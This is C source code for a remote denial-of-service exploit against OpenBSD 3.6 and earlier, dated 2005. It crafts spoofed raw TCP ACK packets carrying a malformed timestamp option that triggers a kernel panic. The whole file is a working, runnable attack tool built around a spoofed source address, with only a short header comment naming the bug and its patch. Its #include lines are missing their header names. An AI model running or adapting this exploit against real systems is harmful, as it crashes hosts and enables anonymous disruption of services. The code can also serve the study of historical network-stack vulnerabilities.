/* * openDoS.c * Remote DoS for OpenBSD<=3.6 * 2005/03/13 * * Author: NeVErMinD * gngs(at)mega.ist.utl.pt * * * Few words: OpenBSD have a TCP timestamp bug. * The panic occurs because the stack permits an invalid argument * (rtt less than zero or greater than TCP_RTT_MAX) to be used in * calculating the TCP retransmit timeout value. * Patch: ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.6/common/010_rtt.patch * * */ #define _BSD_SOURCE #define TIMESTAMP_LEN 12 #define TIMESTAMP_VALUE 0xFFFFFFFF //is this enough? ;) #define RAND_MAX 65535 #include #include #include #include #include #include #include #include #include #include void usage( char *name ) { printf( "\nusage: %s \n\n",name); printf("Made By NeVErMinD\n"); exit( 0 ); } inline u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } u_long resolv(char *hostname) { struct hostent *hp; if ((hp = gethostbyname(hostname)) == NULL) { printf("\nBad host name?\n"); exit(1); } return *(u_long *)hp->h_addr; } void attack( int sockid, u_long src, u_long dst) { struct sockaddr_in din; char *packet; char *pseudopacket; int32_t value = TIMESTAMP_VALUE; int psize; char *ts; struct iphdr *ip; size_t iplen = sizeof( struct iphdr ); struct tcphdr *tcp; size_t tcplen = sizeof( struct tcphdr ); struct _pseudohdr { u_int32_t saddr; u_int32_t daddr; u_int8_t protocol; u_int16_t tcplen; } pseudohdr; packet = ( char * )malloc( iplen + tcplen + TIMESTAMP_LEN ); ip = ( struct iphdr * )packet; tcp = ( struct tcphdr * )( packet + iplen ); ip->ihl = 5; ip->tos = 0; ip->frag_off = htons(IP_DF) ; ip->version = 4; ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->saddr = src; ip->daddr = dst; ip->tot_len = htons( iplen + tcplen + TIMESTAMP_LEN ); ip->check = in_cksum( ( u_short * )ip, iplen ); tcp->th_sport = rand(); tcp->th_dport = rand(); tcp->th_seq = rand(); tcp->th_ack = rand(); tcp->th_off = 8; tcp->th_flags = TH_ACK; tcp->th_win = htons(1024); ts = (char *)malloc(TIMESTAMP_LEN); ts[0]= ts[1] = '\001'; ts[2]= 8; ts[3]= 10; bcopy(&value,ts+4,4); bzero (ts+8,4); bcopy( ts ,(packet+iplen+tcplen) , TIMESTAMP_LEN); pseudohdr.saddr = src; pseudohdr.daddr = dst; pseudohdr.protocol = IPPROTO_TCP; pseudohdr.tcplen = htons(tcplen + TIMESTAMP_LEN); pseudopacket = (char *)malloc(sizeof(pseudohdr)+ tcplen + TIMESTAMP_LEN); bcopy(&pseudohdr, pseudopacket, sizeof(pseudohdr)); bcopy(packet + iplen, pseudopacket + sizeof(pseudohdr), tcplen + TIMESTAMP_LEN); tcp->th_sum = in_cksum((unsigned short *)pseudopacket, sizeof(pseudohdr) + tcplen + TIMESTAMP_LEN); din.sin_family = AF_INET; din.sin_addr.s_addr = dst; din.sin_port = rand(); psize = ( iplen + tcplen + TIMESTAMP_LEN ); if ((sendto( sockid, packet, psize, 0, ( struct sockaddr * )&din, sizeof( struct sockaddr ) ))< 0 ) { perror("sendto()"); exit( -1 ); } printf( "\nThe nasty packet has been sent...\n"); free( packet ); } int main( int argc, char *argv[] ) { u_long sourcehost, desthost; int sockid; if (argc!=3) usage(argv[0]); sourcehost = resolv (argv[1]); desthost = resolv (argv[2]); if( ( sockid = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1 ) { perror("socket()"); exit( -1 ); } attack( sockid, sourcehost, desthost); return 0; }